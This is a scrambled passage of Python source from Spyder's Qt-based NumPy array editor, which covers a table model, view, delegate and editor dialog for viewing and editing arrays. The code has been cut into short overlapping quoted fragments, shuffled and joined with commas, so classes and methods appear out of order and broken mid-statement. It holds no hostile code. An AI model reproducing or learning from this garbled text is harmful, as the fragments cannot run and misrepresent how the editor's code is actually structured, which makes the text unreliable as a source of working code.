readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.mask, readonly,", "column. It isn't possible to # select only the first", "readonly self.test_array = np.array([0], dtype=data.dtype) # for complex numbers, shading", "= self.data.shape self.data.shape = (1, 1) format = SUPPORTED_FORMATS.get(data.dtype.name, '%s')", "return self.changes.get((i, j), value) def data(self, index, role=Qt.DisplayRole): \"\"\"Cell content\"\"\"", "is datatype dtype is a number kind\"\"\" return is_float(dtype) or", "old_cols_loaded is not None: # if we've changed anything, update", "to self.changes self.changes[(i, j)] = val self.dataChanged.emit(index, index) if not", "layout label = QLabel(_(\"Axis:\")) btn_layout.addWidget(label) btn_layout.addWidget(ra_combo) self.shape_label = QLabel() btn_layout.addWidget(self.shape_label)", "Spyder), thus leading to # a segmentation fault on UNIX", "crash on Windows self.setAttribute(Qt.WA_DeleteOnClose) self.data = None self.arraywidget = None", "return False try: val = complex(value) if not val.imag: val", "if is_record_array: for name in data.dtype.names: self.stack.addWidget(ArrayEditorWidget(self, data[name], readonly, xlabels,", "self.cols_loaded, self.cols_loaded + items_to_fetch - 1) self.cols_loaded += items_to_fetch self.endInsertColumns()", "self.arraywidget.model.dataChanged.connect(self.save_and_close_enable) def change_active_widget(self, index): \"\"\" This is implemented for handling", "\"Overflow error: %s\" % str(e)) return False # Add change", "complex numbers, shading will be based on absolute value #", "match # updated range) bottom = self.model().rows_loaded-1 left = part.left()", "% 1.1 except: QMessageBox.critical(self, _(\"Error\"), _(\"Format (%s) is incorrect\") %", "closing the dialog box, # otherwise it may be garbage-collected", "self.dim_indexes = [{}, {}, {}] self.last_dim = 0 # Adjust", "= self.stack.currentWidget() if self.arraywidget: self.arraywidget.model.dataChanged.connect( self.save_and_close_enable) self.stack.currentChanged.connect(self.current_widget_changed) self.layout.addWidget(self.stack, 1, 0)", "{}] self.last_dim = 0 # Adjust this for changing the", "len(self.data.shape) == 0: self.old_data_shape = self.data.shape self.data.shape = (1, 1)", "None if len(self.data.shape) == 1: self.old_data_shape = self.data.shape self.data.shape =", "1.1 except: QMessageBox.critical(self, _(\"Error\"), _(\"Format (%s) is incorrect\") % format)", "= self.COLS_TO_LOAD else: if self.total_rows > LARGE_NROWS: self.rows_loaded = self.ROWS_TO_LOAD", "bgcolor.setChecked(self.model.bgcolor_enabled) bgcolor.setEnabled(self.model.bgcolor_enabled) bgcolor.stateChanged.connect(self.model.bgcolor) btn_layout.addWidget(bgcolor) layout = QVBoxLayout() layout.addWidget(self.view) layout.addLayout(btn_layout) self.setLayout(layout)", "self.vmax = np.nanmax(self.color_func(data)) if self.vmax == self.vmin: self.vmin -= 1", "old_rows_loaded = self.model().rows_loaded self.model().fetch_more(rows=rows) if columns and value == self.horizontalScrollBar().maximum():", "data when closing # See isue 7880 pass def resize_to_contents(self):", "and len(xlabels) != self.data.shape[1]: self.error(_(\"The 'xlabels' argument length do no", "selection new_selection = QItemSelection() for part in old_selection: top =", "self.total_rows if self.total_cols > LARGE_COLS: self.cols_loaded = self.COLS_TO_LOAD else: self.cols_loaded", "format = str(format) try: format % 1.1 except: QMessageBox.critical(self, _(\"Error\"),", "_(\"Format (%s) is incorrect\") % format) return self.model.set_format(format) class ArrayEditor(QDialog):", "string_index = [':']*3 string_index[self.last_dim] = '<font color=red>%i</font>' self.slicing_label.setText((r\"Slicing: [\" +", "<= self.rows_loaded: return self.total_rows else: return self.rows_loaded def can_fetch_more(self, rows=False,", "True if datatype dtype is a float kind\"\"\" return ('float'", "a whole column. It isn't possible to # select only", "# Backgroundcolor settings huerange = [.66, .99] # Hue self.sat", "if self.total_cols > self.cols_loaded: return True else: return False def", "resize_to_contents(self): \"\"\"Resize cells to contents\"\"\" QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) self.resizeColumnsToContents() self.model().fetch_more(columns=True) self.resizeColumnsToContents() QApplication.restoreOverrideCursor()", "'Format'), _( \"Float formatting\"), QLineEdit.Normal, self.model.get_format()) if valid: format =", "self.data = data readonly = readonly or not self.data.flags.writeable is_record_array", "self.setAttribute(Qt.WA_DeleteOnClose) self.data = None self.arraywidget = None self.stack = None", "return True def flags(self, index): \"\"\"Set editable flag\"\"\" if not", "3: if is_record_array: btn_layout.addWidget(QLabel(_(\"Record array fields:\"))) names = [] for", "== self.vmin: self.vmin -= 1 self.hue0 = huerange[0] self.dhue =", "in dtype.name) or dtype.name in ['single', 'double'] def is_number(dtype): \"\"\"Return", "will be formatted with '%s' (see below) SUPPORTED_FORMATS = {", "top_left = self.model().index(top, left) bottom_right = self.model().index(bottom, right) part =", "expand it to match # updated range) bottom = self.model().rows_loaded-1", "btn_layout.addStretch() if not readonly: self.btn_save_and_close = QPushButton(_('Save and Close')) self.btn_save_and_close.setDisabled(True)", "not index.isValid(): return to_qvariant() value = self.get_value(index) if is_binary_string(value): try:", "return False # Add change to self.changes self.changes[(i, j)] =", "supported, True otherwise \"\"\" self.data = data readonly = readonly", "= val.real except ValueError as e: QMessageBox.critical(self.dialog, \"Error\", \"Value error:", "format self.total_rows = self._data.shape[0] self.total_cols = self._data.shape[1] size = self.total_rows", "\"to masked array won't be reflected in \"\\ \"array's data", "old_selection = self.selectionModel().selection() old_rows_loaded = old_cols_loaded = None if rows", "more, # so we can treat it as intentional and", "data.dtype.fields[name] text = name if len(field) >= 3: title =", "for all other types it will be the real part", "or old_cols_loaded is not None: # if we've changed anything,", "= from_qvariant(value, str) dtype = self._data.dtype.name if dtype == \"bool\":", "do no match array row \" \"number\")) return False if", "else: try: return to_qvariant(self._format % value) except TypeError: self.readonly =", "the first part of a column without loading more, #", "= np.real # Backgroundcolor settings huerange = [.66, .99] #", "QPushButton(_( \"Resize\")) btn_layout.addWidget(btn) btn.clicked.connect(self.view.resize_to_contents) bgcolor = QCheckBox(_( 'Background color')) bgcolor.setChecked(self.model.bgcolor_enabled)", "self.layout.addWidget(self.stack, 1, 0) # Buttons configuration btn_layout = QHBoxLayout() if", "pylint: disable=R0903 # pylint: disable=R0911 # pylint: disable=R0201 # Standard", "self.endInsertRows() if self.can_fetch_more(columns=columns): reminder = self.total_cols - self.cols_loaded items_to_fetch =", "self.load_more_data(val, columns=True)) self.verticalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, rows=True)) def load_more_data(self, value,", "return self.total_cols else: return self.cols_loaded def rowCount(self, qindex=QModelIndex()): \"\"\"Array row", "self.data = data self.old_data_shape = None if len(self.data.shape) == 1:", "format): \"\"\"Change display format\"\"\" self._format = format self.reset() def columnCount(self,", "formatted with '%s' (see below) SUPPORTED_FORMATS = { 'single': '%.6g',", "'float128': '%.6g', 'csingle': '%r', 'complex_': '%r', 'clongfloat': '%r', 'complex64': '%r',", "It seems generated by a bug in sip. try: self.commitData.emit(editor)", "Editor Table Model\"\"\" ROWS_TO_LOAD = 500 COLS_TO_LOAD = 40 def", "def keyPressEvent(self, event): \"\"\"Reimplement Qt method\"\"\" if event == QKeySequence.Copy:", "self.data.shape self.data.shape = (1, 1) format = SUPPORTED_FORMATS.get(data.dtype.name, '%s') self.model", "least Spyder won't crash. It seems generated by a bug", "['single', 'double'] def is_number(dtype): \"\"\"Return True is datatype dtype is", "Avoid accessing the private attribute _format from outside return self._format", "all other types it will be the real part if", "pylint: disable=R0911 # pylint: disable=R0201 # Standard library imports from", "= self.COLS_TO_LOAD else: self.cols_loaded = self.total_cols def get_format(self): \"\"\"Return current", "float kind\"\"\" return ('float' in dtype.name) or dtype.name in ['single',", "negative values in index for 3d arrays, to give the", "\"array's data (and vice-versa).\")) btn_layout.addWidget(label) btn_layout.addStretch() if not readonly: self.btn_save_and_close", "as e: print(\"OverflowError: \" + str(e)) # spyder: test-skip QMessageBox.critical(self.dialog,", "stack_index self.stack.update() self.stack.setCurrentIndex(stack_index) def current_dim_changed(self, index): \"\"\" This change the", "max(cols) ) #============================================================================== # Main classes #============================================================================== class ArrayModel(QAbstractTableModel): \"\"\"Array", "i in range(3)] ra_combo = QComboBox(self) ra_combo.addItems(names) ra_combo.currentIndexChanged.connect(self.current_dim_changed) # Adding", "np.nanmin(self.color_func(data)) self.vmax = np.nanmax(self.color_func(data)) if self.vmax == self.vmin: self.vmin -=", "attribute _format from outside return self._format def get_data(self): \"\"\"Return data\"\"\"", "changed # but at least Spyder won't crash. It seems", "from outside return self._format def get_data(self): \"\"\"Return data\"\"\" return self._data", "== 0: self.old_data_shape = self.data.shape self.data.shape = (1, 1) format", "if role != Qt.DisplayRole: return to_qvariant() labels = self.xlabels if", "dtn not in SUPPORTED_FORMATS and not dtn.startswith('str') \\ and not", "= self.total_rows - self.rows_loaded items_to_fetch = min(reminder, self.ROWS_TO_LOAD) self.beginInsertRows(QModelIndex(), self.rows_loaded,", "value is not np.ma.masked: editor = QLineEdit(parent) editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) editor.setAlignment(Qt.AlignCenter) if", "data.mask, readonly, xlabels, ylabels)) elif data.ndim == 3: pass else:", "'%d', 'int8': '%d', 'int16': '%d', 'int32': '%d', 'int64': '%d', 'ubyte':", "= [str(i) for i in range(3)] ra_combo = QComboBox(self) ra_combo.addItems(names)", "xlabels, ylabels)) elif data.ndim == 3: pass else: self.stack.addWidget(ArrayEditorWidget(self, data,", "Implement \"Paste\" (from clipboard) feature class ArrayView(QTableView): \"\"\"Array view class\"\"\"", "return ( min(rows), max(rows), min(cols), max(cols) ) #============================================================================== # Main", "flag\"\"\" if not index.isValid(): return Qt.ItemIsEnabled return Qt.ItemFlags(QAbstractTableModel.flags(self, index)| Qt.ItemIsEditable)", "to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter)) elif role == Qt.BackgroundColorRole and self.bgcolor_enabled \\ and value", "separately\")) label.setToolTip(_(\"For performance reasons, changes applied \"\\ \"to masked array", "= part.top() bottom = part.bottom() if (old_rows_loaded is not None", "for int type btn.setEnabled(is_float(data.dtype)) btn_layout.addWidget(btn) btn.clicked.connect(self.change_format) btn = QPushButton(_( \"Resize\"))", "change_format(self): \"\"\"Change display format\"\"\" format, valid = QInputDialog.getText(self, _( 'Format'),", "for k in range(shape[1]): total_width += self.columnWidth(k) self.viewport().resize(min(total_width, 1024), self.height())", "stack_index is None: stack_index = self.stack.count() try: self.stack.addWidget(ArrayEditorWidget( self, self.data[tuple(slice_index)]))", "btn_layout.setAlignment(Qt.AlignLeft) btn = QPushButton(_( \"Format\")) # disable format button for", "self.setup_menu() config_shortcut(self.copy, context='variable_explorer', name='copy', parent=self) self.horizontalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, columns=True))", "\"\"\"Return data\"\"\" return self._data def set_format(self, format): \"\"\"Change display format\"\"\"", "incorrect\") % format) return self.model.set_format(format) class ArrayEditor(QDialog): \"\"\"Array Editor Dialog\"\"\"", "is not None: # if we've changed anything, update selection", "data_index = index slice_index = [slice(None)]*3 slice_index[self.last_dim] = data_index stack_index", "ylabels=None): QWidget.__init__(self, parent) self.data = data self.old_data_shape = None if", "= self.total_rows * self.total_cols try: self.vmin = np.nanmin(self.color_func(data)) self.vmax =", "= output.getvalue().decode('utf-8') output.close() return contents @Slot() def copy(self): \"\"\"Copy text", "and len(ylabels) != self.data.shape[0]: self.error(_(\"The 'ylabels' argument length do no", ".7 # Saturation self.val = 1. # Value self.alp =", "headerData(self, section, orientation, role=Qt.DisplayRole): \"\"\"Set header data\"\"\" if role !=", "self.readonly = readonly self.test_array = np.array([0], dtype=data.dtype) # for complex", "\"Format\")) # disable format button for int type btn.setEnabled(is_float(data.dtype)) btn_layout.addWidget(btn)", "self.data.shape = self.old_data_shape def change_format(self): \"\"\"Change display format\"\"\" format, valid", "if stack_index is None: stack_index = self.stack.count() try: self.stack.addWidget(ArrayEditorWidget( self,", "self.horizontalScrollBar().maximum(): old_cols_loaded = self.model().cols_loaded self.model().fetch_more(columns=columns) if old_rows_loaded is not None", "role == Qt.BackgroundColorRole and self.bgcolor_enabled \\ and value is not", "self.dhue * (float(self.vmax) - self.color_func(value)) / (float(self.vmax) - self.vmin)) hue", "!= self.data.shape[1]: self.error(_(\"The 'xlabels' argument length do no match array", "\"\"\"Array Editor Dialog\"\"\" def __init__(self, parent=None): QDialog.__init__(self, parent) # Destroying", "# Values for 3d array editor self.dim_indexes = [{}, {},", "be garbage-collected in another QThread # (e.g. the editor's analysis", "return True @Slot(QModelIndex, QModelIndex) def save_and_close_enable(self, left_top, bottom_right): \"\"\"Handle the", "'longfloat': '%.6g', 'float16': '%.6g', 'float32': '%.6g', 'float64': '%.6g', 'float96': '%.6g',", "self.rows_loaded def can_fetch_more(self, rows=False, columns=False): if rows: if self.total_rows >", "number kind\"\"\" return is_float(dtype) or ('int' in dtype.name) or ('long'", "parent, option, index): \"\"\"Create editor widget\"\"\" model = index.model() value", "Dialog\"\"\" def __init__(self, parent=None): QDialog.__init__(self, parent) # Destroying the C++", "flags(self, index): \"\"\"Set editable flag\"\"\" if not index.isValid(): return Qt.ItemIsEnabled", "self.index_spin.valueChanged.connect(self.change_active_widget) # QComboBox names = [str(i) for i in range(3)]", "validator = QDoubleValidator(editor) validator.setLocale(QLocale('C')) editor.setValidator(validator) editor.returnPressed.connect(self.commitAndCloseEditor) return editor def commitAndCloseEditor(self):", "is_record_array or is_masked_array or data.ndim == 3: if is_record_array: btn_layout.addWidget(QLabel(_(\"Record", "or value.lower().endswith('e'): return False try: val = complex(value) if not", "col_max = self.model().total_cols-1 if row_min == 0 and row_max ==", "return False if not is_record_array: dtn = data.dtype.name if dtn", "copy\"\"\" # It is import to avoid accessing Qt C++", "since if the value is currently 0 it does not", "def setEditorData(self, editor, index): \"\"\"Set editor widget's data\"\"\" text =", "method\"\"\" self.menu.popup(event.globalPos()) event.accept() def keyPressEvent(self, event): \"\"\"Reimplement Qt method\"\"\" if", "try: format % 1.1 except: QMessageBox.critical(self, _(\"Error\"), _(\"Format (%s) is", "ArrayEditor(QDialog): \"\"\"Array Editor Dialog\"\"\" def __init__(self, parent=None): QDialog.__init__(self, parent) #", "based on absolute value # but for all other types", "except IndexError: # Handle arrays of size 0 in one", "min(reminder, self.COLS_TO_LOAD) self.beginInsertColumns(QModelIndex(), self.cols_loaded, self.cols_loaded + items_to_fetch - 1) self.cols_loaded", "QLabel(_(\"Index:\")) btn_layout.addWidget(label) btn_layout.addWidget(self.index_spin) self.slicing_label = QLabel() btn_layout.addWidget(self.slicing_label) # set the", "j] return self.changes.get((i, j), value) def data(self, index, role=Qt.DisplayRole): \"\"\"Cell", "for changing the startup dimension def setup_and_check(self, data, title='', readonly=False,", "QCheckBox(_( 'Background color')) bgcolor.setChecked(self.model.bgcolor_enabled) bgcolor.setEnabled(self.model.bgcolor_enabled) bgcolor.stateChanged.connect(self.model.bgcolor) btn_layout.addWidget(bgcolor) layout = QVBoxLayout()", "string\"\"\" if not cell_range: return row_min, row_max, col_min, col_max =", "None self.dhue = None self.bgcolor_enabled = False # Use paging", "btn.clicked.connect(self.view.resize_to_contents) bgcolor = QCheckBox(_( 'Background color')) bgcolor.setChecked(self.model.bgcolor_enabled) bgcolor.setEnabled(self.model.bgcolor_enabled) bgcolor.stateChanged.connect(self.model.bgcolor) btn_layout.addWidget(bgcolor)", "COLS_TO_LOAD = 40 def __init__(self, data, format=\"%.6g\", xlabels=None, ylabels=None, readonly=False,", "data self.old_data_shape = None if len(self.data.shape) == 1: self.old_data_shape =", "Utility functions #============================================================================== def is_float(dtype): \"\"\"Return True if datatype dtype", "format = SUPPORTED_FORMATS.get(data.dtype.name, '%s') self.model = ArrayModel(self.data, format=format, xlabels=xlabels, ylabels=ylabels,", "object right after closing the dialog box, # otherwise it", "'ylabels' argument length do no match array row \" \"number\"))", "val > self.vmax: self.vmax = val if val < self.vmin:", "data, readonly=False, xlabels=None, ylabels=None): QWidget.__init__(self, parent) self.data = data self.old_data_shape", "'byte': '%d', 'bytes8': '%s', 'short': '%d', 'intc': '%d', 'int_': '%d',", "and close editor\"\"\" editor = self.sender() # Avoid a segfault", "_data[row_min:row_max+1, col_min:col_max+1], delimiter='\\t', fmt=self.model().get_format()) except: QMessageBox.warning(self, _(\"Warning\"), _(\"It was not", "is_masked_array: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.data, readonly, xlabels,", "= 0 for k in range(shape[1]): total_width += self.columnWidth(k) self.viewport().resize(min(total_width,", "C++ object as it has probably # already been destroyed,", "LARGE_COLS = 60 #============================================================================== # Utility functions #============================================================================== def is_float(dtype):", "\"bool\": value = not value model.setData(index, to_qvariant(value)) return elif value", "= 1. # Value self.alp = .6 # Alpha-channel self._data", "import get_font, config_shortcut from spyder.py3compat import (io, is_binary_string, is_string, is_text_string,", "self.selectionModel().selection() old_rows_loaded = old_cols_loaded = None if rows and value", "= [':']*3 string_index[self.last_dim] = '<font color=red>%i</font>' self.slicing_label.setText((r\"Slicing: [\" + \",", "changes\"\"\" if self.old_data_shape is not None: self.data.shape = self.old_data_shape def", "self.setWindowTitle(title) self.resize(600, 500) # Stack widget self.stack = QStackedWidget(self) if", "def get_value(self): \"\"\"Return modified array -- this is *not* a", "Editor Dialog based on Qt \"\"\" # pylint: disable=C0103 #", "except TypeError: return to_qvariant() elif role == Qt.FontRole: return to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA))", "QLabel() btn_layout.addWidget(self.slicing_label) # set the widget to display when launched", "readonly: self.btn_save_and_close = QPushButton(_('Save and Close')) self.btn_save_and_close.setDisabled(True) self.btn_save_and_close.clicked.connect(self.accept) btn_layout.addWidget(self.btn_save_and_close) self.btn_close", "and left == 0 and right == (old_cols_loaded-1)): # compete", "value model.setData(index, to_qvariant(value)) return elif value is not np.ma.masked: editor", "is *not* a copy\"\"\" # It is import to avoid", "It is import to avoid accessing Qt C++ object as", "ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.mask, readonly, xlabels,", "QLineEdit, QMenu, QMessageBox, QPushButton, QSpinBox, QStackedWidget, QTableView, QVBoxLayout, QWidget) import", "'bool_': '%r', 'bool8': '%r', 'bool': '%r', } LARGE_SIZE = 5e5", "index): \"\"\" This is implemented for handling negative values in", "import print_function # Third party imports from qtpy.compat import from_qvariant,", "return to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) return to_qvariant() def setData(self, index, value, role=Qt.EditRole): \"\"\"Cell", "format) return self.model.set_format(format) class ArrayEditor(QDialog): \"\"\"Array Editor Dialog\"\"\" def __init__(self,", "# Licensed under the terms of the MIT License #", "= data self.old_data_shape = None if len(self.data.shape) == 1: self.old_data_shape", "'double': '%.6g', 'float_': '%.6g', 'longfloat': '%.6g', 'float16': '%.6g', 'float32': '%.6g',", "parent self.changes = {} self.xlabels = xlabels self.ylabels = ylabels", "+ \" - \" + _(\"NumPy array\") else: title =", "button.\"\"\" if self.btn_save_and_close: self.btn_save_and_close.setEnabled(True) self.btn_save_and_close.setAutoDefault(True) self.btn_save_and_close.setDefault(True) def current_widget_changed(self, index): self.arraywidget", "Standard library imports from __future__ import print_function # Third party", "'%d', 'uintp': '%d', 'uint8': '%d', 'uint16': '%d', 'uint32': '%d', 'uint64':", "self.val = 1. # Value self.alp = .6 # Alpha-channel", "value) def data(self, index, role=Qt.DisplayRole): \"\"\"Cell content\"\"\" if not index.isValid():", "# if we've changed anything, update selection new_selection = QItemSelection()", "try: old_selection = self.selectionModel().selection() old_rows_loaded = old_cols_loaded = None if", "NameError while fetching data when closing # See isue 7880", "not cell_range: return row_min, row_max, col_min, col_max = get_idx_rect(cell_range) if", "' (' + _('read only') + ')' self.setWindowTitle(title) self.resize(600, 500)", "def current_dim_changed(self, index): \"\"\" This change the active axis the", "def get_value(self, index): i = index.row() j = index.column() if", "thread in Spyder), thus leading to # a segmentation fault", "\"\\ \"array's data (and vice-versa).\")) btn_layout.addWidget(label) btn_layout.addStretch() if not readonly:", "min(reminder, self.ROWS_TO_LOAD) self.beginInsertRows(QModelIndex(), self.rows_loaded, self.rows_loaded + items_to_fetch - 1) self.rows_loaded", "the save and close button.\"\"\" if self.btn_save_and_close: self.btn_save_and_close.setEnabled(True) self.btn_save_and_close.setAutoDefault(True) self.btn_save_and_close.setDefault(True)", "and not dtn.startswith('str') \\ and not dtn.startswith('unicode'): arr = _(\"%s", "\"bool\": try: val = bool(float(value)) except ValueError: val = value.lower()", "= QItemSelection() for part in old_selection: top = part.top() bottom", "when closing # See isue 7880 pass def resize_to_contents(self): \"\"\"Resize", "# select only the first part of a column without", "= format self.total_rows = self._data.shape[0] self.total_cols = self._data.shape[1] size =", "SUPPORTED_FORMATS.get(data.dtype.name, '%s') self.model = ArrayModel(self.data, format=format, xlabels=xlabels, ylabels=ylabels, readonly=readonly, parent=self)", "self.changes.get((i, j), value) def data(self, index, role=Qt.DisplayRole): \"\"\"Cell content\"\"\" if", "'%d', 'uint64': '%d', 'bool_': '%r', 'bool8': '%r', 'bool': '%r', }", "\"\"\"Set editable flag\"\"\" if not index.isValid(): return Qt.ItemIsEnabled return Qt.ItemFlags(QAbstractTableModel.flags(self,", "self.setLayout(layout) def accept_changes(self): \"\"\"Accept changes\"\"\" for (i, j), value in", "+ str(e)) # spyder: test-skip QMessageBox.critical(self.dialog, \"Error\", \"Overflow error: %s\"", "# Buttons configuration btn_layout = QHBoxLayout() if is_record_array or is_masked_array", "\"\"\"Return current format\"\"\" # Avoid accessing the private attribute _format", "# pylint: disable=R0903 # pylint: disable=R0911 # pylint: disable=R0201 #", "j), value in list(self.model.changes.items()): self.data[i, j] = value if self.old_data_shape", "pass else: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.arraywidget = self.stack.currentWidget()", "(io, is_binary_string, is_string, is_text_string, PY3, to_binary_string, to_text_string) from spyder.utils import", "will be the real part if data.dtype in (np.complex64, np.complex128):", "return self.total_rows else: return self.rows_loaded def can_fetch_more(self, rows=False, columns=False): if", "not None or old_cols_loaded is not None: # if we've", "> 0 self.reset() def get_value(self, index): i = index.row() j", "- self.color_func(value)) / (float(self.vmax) - self.vmin)) hue = float(np.abs(hue)) color", "editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) editor.setAlignment(Qt.AlignCenter) if is_number(self.dtype): validator = QDoubleValidator(editor) validator.setLocale(QLocale('C')) editor.setValidator(validator) editor.returnPressed.connect(self.commitAndCloseEditor)", "== self.verticalScrollBar().maximum(): old_rows_loaded = self.model().rows_loaded self.model().fetch_more(rows=rows) if columns and value", "and unicode data types will be formatted with '%s' (see", "self.setModel(model) self.setItemDelegate(ArrayDelegate(dtype, self)) total_width = 0 for k in range(shape[1]):", "_('Copy'), shortcut=keybinding('Copy'), icon=ima.icon('editcopy'), triggered=self.copy, context=Qt.WidgetShortcut) menu = QMenu(self) add_actions(menu, [self.copy_action,", "'%d', 'int32': '%d', 'int64': '%d', 'ubyte': '%d', 'ushort': '%d', 'uintc':", "rows, cols = list(zip(*[(i.row(), i.column()) for i in index_list])) return", "pass if role == Qt.DisplayRole: if value is np.ma.masked: return", "in dtype.name) or ('long' in dtype.name) \\ or ('short' in", "def __init__(self, data, format=\"%.6g\", xlabels=None, ylabels=None, readonly=False, parent=None): QAbstractTableModel.__init__(self) self.dialog", "0 self.reset() def get_value(self, index): i = index.row() j =", "self.rows_loaded = self.ROWS_TO_LOAD self.cols_loaded = self.COLS_TO_LOAD else: if self.total_rows >", "Model\"\"\" ROWS_TO_LOAD = 500 COLS_TO_LOAD = 40 def __init__(self, data,", "self.btn_save_and_close.setDefault(True) def current_widget_changed(self, index): self.arraywidget = self.stack.widget(index) self.arraywidget.model.dataChanged.connect(self.save_and_close_enable) def change_active_widget(self,", "part = QItemSelectionRange(top_left, bottom_right) new_selection.append(part) self.selectionModel().select (new_selection, self.selectionModel().ClearAndSelect) except NameError:", "for handling negative values in index for 3d arrays, to", "= to_text_string(value) else: if value.lower().startswith('e') or value.lower().endswith('e'): return False try:", "field[2] if not is_text_string(title): title = repr(title) text += '", "elif role == Qt.FontRole: return to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) return to_qvariant() def setData(self,", "is_masked_array or data.ndim == 3: if is_record_array: btn_layout.addWidget(QLabel(_(\"Record array fields:\")))", "'%.6g', 'float32': '%.6g', 'float64': '%.6g', 'float96': '%.6g', 'float128': '%.6g', 'csingle':", "val = val.real except ValueError as e: QMessageBox.critical(self.dialog, \"Error\", \"Value", "(' + ', '.join(string_size) + ') ') % self.data.shape) if", "'%d', 'ubyte': '%d', 'ushort': '%d', 'uintc': '%d', 'uint': '%d', 'ulonglong':", "applied \"\\ \"to masked array won't be reflected in \"\\", "is done since if the value is currently 0 it", "QMenu, QMessageBox, QPushButton, QSpinBox, QStackedWidget, QTableView, QVBoxLayout, QWidget) import numpy", "dtype.name) or ('long' in dtype.name) \\ or ('short' in dtype.name)", "= QLabel(_(\"Index:\")) btn_layout.addWidget(label) btn_layout.addWidget(self.index_spin) self.slicing_label = QLabel() btn_layout.addWidget(self.slicing_label) # set", "self.readonly = True return repr(value) elif role == Qt.TextAlignmentRole: return", "functions #============================================================================== def is_float(dtype): \"\"\"Return True if datatype dtype is", "= parent self.changes = {} self.xlabels = xlabels self.ylabels =", "'' else: try: return to_qvariant(self._format % value) except TypeError: self.readonly", "on UNIX or an application crash on Windows self.setAttribute(Qt.WA_DeleteOnClose) self.data", "self.total_rows * self.total_cols try: self.vmin = np.nanmin(self.color_func(data)) self.vmax = np.nanmax(self.color_func(data))", "editable flag\"\"\" if not index.isValid(): return Qt.ItemIsEnabled return Qt.ItemFlags(QAbstractTableModel.flags(self, index)|", "if not is_record_array: dtn = data.dtype.name if dtn not in", "LARGE_SIZE: self.rows_loaded = self.ROWS_TO_LOAD self.cols_loaded = self.COLS_TO_LOAD else: if self.total_rows", "(np.complex64, np.complex128): self.color_func = np.abs else: self.color_func = np.real #", "thing col_max = self.model().total_cols-1 if row_min == 0 and row_max", "shape): QTableView.__init__(self, parent) self.setModel(model) self.setItemDelegate(ArrayDelegate(dtype, self)) total_width = 0 for", "self.verticalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, rows=True)) def load_more_data(self, value, rows=False, columns=False):", "is a number kind\"\"\" return is_float(dtype) or ('int' in dtype.name)", "else: self.color_func = np.real # Backgroundcolor settings huerange = [.66,", "= state > 0 self.reset() def get_value(self, index): i =", "return to_qvariant() value = self.get_value(index) if is_binary_string(value): try: value =", "leading to # a segmentation fault on UNIX or an", "% self.data.shape) if self.index_spin.value() != 0: self.index_spin.setValue(0) else: # this", "self.columnWidth(k) self.viewport().resize(min(total_width, 1024), self.height()) self.shape = shape self.menu = self.setup_menu()", "ArrayModel(self.data, format=format, xlabels=xlabels, ylabels=ylabels, readonly=readonly, parent=self) self.view = ArrayView(self, self.model,", "index, value, role=Qt.EditRole): \"\"\"Cell content change\"\"\" if not index.isValid() or", "C++ object right after closing the dialog box, # otherwise", "or not self.data.flags.writeable is_record_array = data.dtype.names is not None is_masked_array", "self.stack.setCurrentIndex(stack_index) def current_dim_changed(self, index): \"\"\" This change the active axis", "part in old_selection: top = part.top() bottom = part.bottom() if", "len(field) >= 3: title = field[2] if not is_text_string(title): title", "data.dtype.name if dtn not in SUPPORTED_FORMATS and not dtn.startswith('str') \\", "argument length do no match array \" \"column number\")) return", "columns=True)) self.verticalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, rows=True)) def load_more_data(self, value, rows=False,", "layout = QVBoxLayout() layout.addWidget(self.view) layout.addLayout(btn_layout) self.setLayout(layout) def accept_changes(self): \"\"\"Accept changes\"\"\"", "role != Qt.DisplayRole: return to_qvariant() labels = self.xlabels if orientation", "index): i = index.row() j = index.column() if len(self._data.shape) ==", "self.model().index(top, left) bottom_right = self.model().index(bottom, right) part = QItemSelectionRange(top_left, bottom_right)", "self.copy() else: QTableView.keyPressEvent(self, event) def _sel_to_text(self, cell_range): \"\"\"Copy an array", "'%d', 'uint': '%d', 'ulonglong': '%d', 'uintp': '%d', 'uint8': '%d', 'uint16':", "None and left == 0 and right == (old_cols_loaded-1)): #", "class\"\"\" def __init__(self, parent, model, dtype, shape): QTableView.__init__(self, parent) self.setModel(model)", "array portion to a unicode string\"\"\" if not cell_range: return", "a unicode string\"\"\" if not cell_range: return row_min, row_max, col_min,", "\"column number\")) return False if ylabels is not None and", "self.rows_loaded = self.total_rows if self.total_cols > LARGE_COLS: self.cols_loaded = self.COLS_TO_LOAD", "if readonly: title += ' (' + _('read only') +", "does not emit # currentIndexChanged(int) self.change_active_widget(0) self.index_spin.setRange(-self.data.shape[index], self.data.shape[index]-1) @Slot() def", "or ('long' in dtype.name) \\ or ('short' in dtype.name) def", "match array row \" \"number\")) return False if not is_record_array:", "data\"\"\" text = from_qvariant(index.model().data(index, Qt.DisplayRole), str) editor.setText(text) #TODO: Implement \"Paste\"", "ylabels self.readonly = readonly self.test_array = np.array([0], dtype=data.dtype) # for", "from qtpy.compat import from_qvariant, to_qvariant from qtpy.QtCore import (QAbstractTableModel, QItemSelection,", "data.ndim == 3: if is_record_array: btn_layout.addWidget(QLabel(_(\"Record array fields:\"))) names =", "# pylint: disable=R0201 # Standard library imports from __future__ import", "print_function # Third party imports from qtpy.compat import from_qvariant, to_qvariant", "items_to_fetch self.endInsertRows() if self.can_fetch_more(columns=columns): reminder = self.total_cols - self.cols_loaded items_to_fetch", "== \"bool\": value = not value model.setData(index, to_qvariant(value)) return elif", "self.old_data_shape = self.data.shape self.data.shape = (1, 1) format = SUPPORTED_FORMATS.get(data.dtype.name,", "= self.model().total_rows-1 _data = self.model().get_data() if PY3: output = io.BytesIO()", "size 0 in one axis 